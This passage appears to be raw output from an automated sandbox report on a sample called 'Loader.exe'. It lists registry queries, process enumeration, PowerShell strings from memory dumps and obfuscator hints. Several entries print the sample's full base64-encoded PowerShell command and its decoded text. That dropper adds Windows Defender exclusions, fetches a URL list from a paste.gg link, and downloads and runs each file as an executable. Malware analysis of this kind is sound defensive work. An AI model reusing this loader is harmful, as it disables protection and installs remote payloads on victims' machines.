"00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-WSManInstance" (Indicator: "Get-WSManInstance"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-WSManInstance" (Indicator: "Set-WSManInstance"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-WSManInstance" (Indicator: "Remove-WSManInstance"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-WSManInstance" (Indicator: "New-WSManInstance"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-WSManSessionOption" (Indicator: "New-WSManSessionOption"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")5d:T8ce,"Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FONTCACHE\PARAMETERS"; Key: "CLIENTCACHESIZE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "")5e:Ta11,Process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008316)5f:T8fd,Found string "| Out-String" (Indicator: "Out-String"; File: "Loader.exe") Found string "Out-String" (Indicator: "Out-String"; File: "Loader.exe") Found string "| Out-String" (Indicator: "Out-String"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp, 00000000-00006460.00000001.176621.00AA2000.00000002.mdmp") Found string "Out-String" (Indicator: "Out-String"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-Default" (Indicator: "Out-Default"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string ".ForwardHelpTargetName Out-String" (Indicator: "Out-String"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-File" (Indicator: "Out-File"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-Null" (Indicator: "Out-Null"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-Host" (Indicator: "Out-Host"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-Printer" (Indicator: "Out-Printer"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-GridView" (Indicator: "Out-GridView"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Out-Default" (Indicator: "Out-Default"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Out-String" (Indicator: "Out-String"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string ".ForwardHelpTargetName Out-String" (Indicator: "Out-String"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Out-File" (Indicator: "Out-File"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Out-Null" (Indicator: "Out-Null"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Out-Host" (Indicator: "Out-Host"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Out-GridView" (Indicator: "Out-GridView"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Out-Printer" (Indicator: "Out-Printer"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")60:Tc20,file/memory contains long string with (Indicator: "Set-StrictMode"; File: "AMSI") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.OriginInfo }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Date" (Indicator: "Set-Date"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Enable-RunspaceDebug" (Indicator: "Enable-RunspaceDebug"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Update-TypeData" (Indicator: "Update-TypeData"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Update-FormatData" (Indicator: "Update-Formatdata"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Update-List" (Indicator: "Update-List"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-TraceSource" (Indicator: "Set-Tracesource"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-Service" (Indicator: "Set-Service"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")61:T9ee,"Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1735931539 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1735968192 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1736329473 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1736336638 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1737747169 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1737755151 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1738923110 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1738930092 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1739517492 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1739525124 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1740215396 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1740222699 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1741261745 [PID: 6460] "Loader.exe" queried SystemProcessInformation at 00000000-00006460-00000C14-1741269098 [PID: 6460] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1746991221 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1746998630 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1748605594 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1748612977 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1749409254 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1749416790 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1749779663 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1749789113 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1750078439 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1750085850 [PID: 8316] "powershell.exe" queried SystemProcessInformation at 00000000-00008316-00000C14-1751895196 [PID: 8316]62:Tdab,Process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008316, Additional Context: "# Start a hidden PowerShell process to display a message box Start-Process powershell -WindowStyle Hidden -ArgumentList @" Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error'); "@ # Add exclusions to Windows Defender Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force # Download files from a Pastebin URL and execute them $wc = New-Object System.Net.WebClient $lnk = $wc.DownloadString('https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw') -split "`r`n" # Generate a random file name prefix $fn = [System.IO.Path]::GetRandomFileName() # Download and execute each file for ($i = 0; $i -lt $lnk.Length; $i++) { $filePath = Join-Path -Path $env:AppData -ChildPath ($fn + $i.ToString() + '.exe') $wc.DownloadFile($lnk[$i], $filePath) Start-Process -FilePath $filePath }")63:T4bd,"System.IO.Compression" is a hint for the obfuscator "MPRESS" "System.IO.Compression.ZipFile" is a hint for the obfuscator "MPRESS" "Switch.System.IO.Compression.DoNotUseNativeZipLibraryForDecompression" is a hint for the obfuscator "MPRESS" "System.Image.CompressedBitsPerPixel" is a hint for the obfuscator "MPRESS" "System.Image.CompressedBitsPerPixelNumerator" is a hint for the obfuscator "MPRESS" "System.Image.CompressedBitsPerPixelDenominator" is a hint for the obfuscator "MPRESS" "System.Image.Compression" is a hint for the obfuscator "MPRESS" "System.Image.CompressionText" is a hint for the obfuscator "MPRESS" "System.Audio.Compression" is a hint for the obfuscator "MPRESS" "System.Video.Compression" is a hint for the obfuscator "MPRESS" "System.LzhFolder.CompressedSize" is a hint for the obfuscator "MPRESS" "System.ZipFolder.CompressedSize" is a hint for the obfuscator "MPRESS" "System.ConnectedSearch.ImpressionId" is a hint for the obfuscator "MPRESS" "Compressed" is a hint for the obfuscator "MPRESS" "Uncompressed" is a hint for the obfuscator "MPRESS" "compressedstackswitcher" is a hint for the obfuscator "MPRESS" "compressedstack" is a hint for the obfuscator "MPRESS"64:Tdab,Process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008316, Additional Context: "# Start a hidden PowerShell process to display a message box Start-Process powershell -WindowStyle Hidden -ArgumentList @" Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error'); "@ # Add exclusions to Windows Defender Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force # Download files from a Pastebin URL and execute them $wc = New-Object System.Net.WebClient $lnk = $wc.DownloadString('https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw') -split "`r`n" # Generate a random file name prefix $fn = [System.IO.Path]::GetRandomFileName() # Download and execute each file for ($i = 0; $i -lt $lnk.Length; $i++) { $filePath = Join-Path -Path $env:AppData -ChildPath ($fn + $i.ToString() + '.exe') $wc.DownloadFile($lnk[$i], $filePath) Start-Process -FilePath $filePath }")65:T9e7,"-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsA